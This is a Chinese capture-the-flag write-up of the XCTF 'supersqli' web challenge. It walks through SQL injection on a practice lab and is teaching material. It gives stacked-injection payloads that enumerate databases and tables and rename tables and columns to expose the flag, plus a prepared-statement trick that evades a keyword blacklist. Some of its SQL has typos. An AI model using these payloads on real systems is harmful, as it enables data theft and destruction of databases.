攻防世界-supersqli详解

supersqli

查看是否存在SQL注入

1' and 1=1 #

攻防世界-supersqli详解_第1张图片
用二分法查看列数(有两列)

1' order by  2 #

攻防世界-supersqli详解_第2张图片
使用联合查询发现做了SQL注入黑名单禁止出现以下关键字
攻防世界-supersqli详解_第3张图片

堆叠注入

接下来我们尝试堆叠注入:
查询数据库:(输入框里的–+做了过滤,但在url里依然可以用)

;show databases;--+

攻防世界-supersqli详解_第4张图片
查表:

';show tables;--+

攻防世界-supersqli详解_第5张图片
分别查询两个表的字段
(字符串为表名进行操作时要加反引号)

; show columns from `1919810931114514` ;--+
; show columns from `words` ;--+

word:flag,NO字段
攻防世界-supersqli详解_第6张图片
1919810931114514:id,NO等等字段
攻防世界-supersqli详解_第7张图片

查询字段内容

这里有两种方法:1.一种改表名 2.预编译
方法一:
根据在words表里发现id字段与查询框里的出的数据类型相同,一个数字,一个字符串,所以猜测默认查询的就是words表,inject(搜索框中)值应该赋给了id
利用:我们可以将含有flag字段的表命名为word,然后修改字段名字,不就查询到我们想要的结果!(前提是这里rename,alert关键字 没有做过滤)

 ; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50); #
 拆开:
;  alter tables words rename to words1; 
;  alter tables `1919810931114514` rename to words ;
;  alter tables words change flag id varchar(50); #

查看flag:

1' or 1=1 #

攻防世界-supersqli详解_第8张图片
1’ or 1=1 #

**方法二:**预编译来绕过

构造payload:

';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

';sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’); 进行预编译
prEpare stmt from @sql; 设置变量
EXECUTE stmt;# 执行
攻防世界-supersqli详解_第9张图片
flag:
flag{c168d583ed0d4d7196967b28cbd0b5e9

你可能感兴趣的:(攻防世界web高手进阶,supersqli,攻防世界-web进阶)